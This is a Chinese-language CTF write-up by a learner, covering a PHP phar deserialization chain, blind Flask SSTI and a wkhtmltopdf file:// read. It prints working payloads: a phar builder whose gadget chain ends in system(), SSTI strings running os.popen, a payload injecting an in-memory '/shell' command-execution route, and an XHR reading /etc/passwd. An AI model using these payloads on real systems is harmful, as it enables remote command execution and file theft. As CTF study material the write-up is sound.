?></div> <div><?php echo strlen($content); ?> bytes</div> </div> <div><pre><?php echo htmlspecialchars($content, ENT_QUOTES); ?></pre></div> </div> <?php elseif ($error === null && isset($_GET['filename'])): ?> <div>未能读取内容或文件为空。</div> <?php endif; ?> </div> </body> </html>index.php用到了function.php
<?php class A { public $file; public $luo; public function __construct() { } public function __toString() { $function = $this->luo; return $function(); } } class B { public $a; public $test; public function __construct() { } public function __wakeup() { echo($this->test); } public function __invoke() { $this->a->rce_me(); } } class C { public $b; public function __construct($b = null) { $this->b = $b; } public function rce_me() { echo "Success!\n"; system("cat /flag/flag.txt > /tmp/flag"); } }读取robots.txt发现uploads.php
<?php $uploadDir = __DIR__ . '/uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } $whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz']; $allowedMimes = [ 'txt' => ['text/plain'], 'log' => ['text/plain'], 'jpg' => ['image/jpeg'], 'jpeg' => ['image/jpeg'], 'png' => ['image/png'], 'zip' => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'], 'gif' => ['image/gif'], 'gz' => ['application/gzip', 'application/x-gzip'] ]; $resultMessage = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $file = $_FILES['file']; if ($file['error'] === UPLOAD_ERR_OK) { $originalName = $file['name']; $ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION)); if (!in_array($ext, $whitelist, true)) { die('File extension not allowed.'); } $mime = $file['type']; if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) { die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime)); } $safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName)); $safeBaseName = ltrim($safeBaseName, '.'); $targetFilename = time() . '_' . $safeBaseName; file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n"); $targetPath = $uploadDir . $targetFilename; if (move_uploaded_file($file['tmp_name'], $targetPath)) { @chmod($targetPath, 0644); $resultMessage = '<div> File uploaded successfully '. '</div>'; } else { $resultMessage = '<div> Failed to move uploaded file.</div>'; } } else { $resultMessage = '<div> Upload error: ' . $file['error'] . '</div>'; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Secure File Upload</title> <style> body { font-family: "Segoe UI", Arial, sans-serif; background: linear-gradient(135deg, #e3f2fd, #f8f9fa); height: 100vh; display: flex; align-items: center; justify-content: center; } .container { background: #fff; padding: 2em 3em; border-radius: 16px; box-shadow: 0 8px 24px rgba(0,0,0,0.1); max-width: 400px; width: 90%; text-align: center; } h1 { color: #0078d7; margin-bottom: 0.8em; font-size: 1.6em; } input[type="file"] { display: block; margin: 1em auto; font-size: 0.95em; } button { background-color: #0078d7; color: white; border: none; padding: 0.6em 1.4em; border-radius: 6px; cursor: pointer; transition: 0.2s ease; } button:hover { background-color: #005ea6; } .success, .error { margin-top: 1em; padding: 0.8em; border-radius: 8px; font-weight: 600; } .success { background: #e8f5e9; color: #2e7d32; border: 1px solid #81c784; } .error { background: #ffebee; color: #c62828; border: 1px solid #ef9a9a; } .footer { margin-top: 1.5em; font-size: 0.85em; color: #666; } </style> </head> <body> <div> <h1>📤 File Upload Portal</h1> <form method="POST" enctype="multipart/form-data"> <input type="file" name="file" required> <button type="submit">Upload</button> </form> <?= $resultMessage ?> <div>Allowed types: txt, log, jpg, jpeg, png, zip</div> </div> </body> </html>审计一下代码
并没有反序列化入口。哎呀,对phar反序列化漏洞又有点模糊了
其实先学习一下pharPHP: 简介 - Manual
Phar 反序列化本身只是 “触发反序列化”,能否执行命令取决于目标代码中是否存在可利用的反序列化 Gadget 链(即类的魔术方法或普通方法中包含危险操作,如 eval()、system()、文件写入等)。
简单来说:
- Phar 反序列化是触发手段,用来绕过常规反序列化的调用场景(比如目标代码没有直接调用
unserialize(),但支持phar://协议解析文件); - 命令执行是漏洞链的结果,需要目标代码中存在能执行命令的类方法(如
__wakeup()、__destruct()、__toString()等魔术方法调用危险函数)。
Phar 反序列化执行命令的典型流程
- 构造恶意 Phar 文件:将包含恶意 Gadget 链的序列化对象存入 Phar 文件的元数据,再将 Phar 文件伪装成其他格式(如 zip、png,绕过上传检测)。
- 触发 Phar 解析:让目标代码通过
phar://协议读取该文件(比如file_get_contents("phar://恶意文件路径/test.txt")),此时 PHP 会自动反序列化元数据中的恶意对象。 - 触发漏洞链执行命令:反序列化过程中调用类的魔术方法(如
__wakeup()、__toString()),逐步触发 Gadget 链,最终执行危险函数(如system()、exec())实现命令执行。
emm下次在更新这题吧,phar还要了解。不行还是继续吧
php反序列化还有gc机制,不过这题没有
关键机制(必须记住)
当 PHP 访问:
phar://xxx/yyy
并且这个文件是一个 PHAR 包时,PHP 会:
- 解析 PHAR 结构
- 读取 manifest
- 自动 unserialize PHAR 的 metadata
📌 这个行为不需要你调用 unserialize()
没有unseralize()+upload+file_get_contents+没有过滤phar://一眼phar反序列化。
exp
unserialize() └─ 触发 B::__wakeup() └─ echo $this->test; // $this->test 是 A 实例 └─ 触发 A::__toString() // 因为 A 被当作字符串使用 └─ $function = $this->luo; // $luo = [$b, '__invoke'] └─ return $function(); // 等价于 $b->__invoke() └─ B::__invoke() └─ $this->a->rce_me(); // $this->a 是 C 实例 └─ C::rce_me() └─ system("cat /flag/flag.txt > /tmp/flag");<?php class A { public $file; public $luo; } class B { public $a; public $test; } class C { public $b; public function rce_me() { system("cat /flag/flag.txt > /tmp/flag"); } } // 构造对象 $c = new C(); $b = new B(); $b->a = $c; // B::$a = C instance $a = new A(); $a->file = $b; // A::$file = B instance $a->luo = [$b, '__invoke']; // callable array, serializable! $b->test = $a; // B::$test = A instance → echo triggers __toString @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($b); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?> PHAR 反序列化反的就是 metadata 这一块,其它部分只是“容器格式”,不参与反序列化。
然后反序列化链咋构造呢
看下目的就是调用C::rce_me,类B的__invoke有$this->a->rce_me(); 这里把类B实例的属性a设置为C实例,然后当一个对象被当作函数(方法)调用时,会自动触发该对象的__invoke方法。看看哪个类的有对象被当作函数(方法)。类A的__toString方法有return $function();那把$function(luo)设置为B实例就行。但是最后咋触发tostring()呢,噢,类B有个__weakup有echo可以触发__tostring(),就是把test设置为类A的实例。正好反序列化会触发__weakup().
噢,最外层是b,$b->test = $a;所以这个写最下面
本来我的想法是$a->luo = $b
它用的是$a->luo = [$b, '__invoke']
结论先行
$a->luo = [$b, '__invoke']不是“只能用 __invoke”,
而是:__invoke只是“当前这个类里唯一能被当作终点的方法”。
数组 callable 的本质是:
[$对象, '方法名']
👉 方法名是任意字符串,只要这个方法存在、可访问、参数匹配,就能被调用。
一、数组 callable 到底能调用什么?
基本规则
[$obj, 'method']();
等价于:
$obj->method();
只要满足:
- 方法存在
- 方法是 public
- 参数数量匹配
所以在这题里:
[$b, '__invoke']
等价于:
$b->__invoke();
百年继承
跳了,
路在脚下
看起来是flask ssti,但是没有回显内容
回显只有3种,看wp有两种一种是内存马,一种是bool盲注。wp好简略。
1 2 3 | |

盲注payload
{{ 1 / (1 if ''.__class__.__mro__[1].__subclasses__()[191].__init__.__globals__['os'].popen('printenv FLAG').read().strip()[{{int(0-52)}}] == '{{payload(ascii)}}' else 0) }}
flag看起来在环境变量FLAG。所以是printenv FLAG,但是不知道题目有没有给源码,这是后续复现找的
因为盲注场景没有直接输出,所以需要把 “枚举下标” 和 “盲注的回显规则” 结合起来,一步步验证出包含os模块的类的下标是 191。
# 检测下标N是否包含os模块(把N换成0、1、2、3...) {{ 1 / (1 if ''.__class__.__mro__[1].__subclasses__()[N].__init__.__globals__.get('os') is not None else 0) }}这是ai写的payload可是我测不出来
不管看了直接看内存马
{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.exec("app = __import__('sys').modules['__main__'].__dict__['app']; rule = app.url_rule_class('/shell', endpoint='shell', methods={'GET'}); app.url_map.add(rule); app.view_functions['shell'] = lambda: __import__('os').popen(__import__('flask').request.args.get('ivory')).read()")}}wp太简略了,剩下的以后懂的多了在看吧
pdf viewer
题目实现 html 转为 PDF的功能,一般在 PDF 文件头信息或者是 burp 的响应中能看到关键组件信息,有时候他也存在于响应的 UA 中,通过下载的 PDF 头查看到用的是 wkhtmltopdf 组件,此组件网上也有现成的漏洞资料,用的是 XHR 跨域读取本地文件。
“wkhtmltopdf 组件在服务端执行 JS,允许通过 XHR 访问 file:// 协议,造成任意文件读取”
这个总算能看懂
payload
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> <h2>File Content:</h2> <pre>Loading...</pre> <script> var xhr = new XMLHttpRequest(); xhr.open('GET', 'file:///etc/passwd', true); xhr.onreadystatechange = function() { if (xhr.readyState === 4) { var content = xhr.responseText || 'Failed to read file'; document.getElementById('output').textContent = content; } }; xhr.send(); </script> </body> </html>

爆破密码
WeakPassword_Admin/qwerty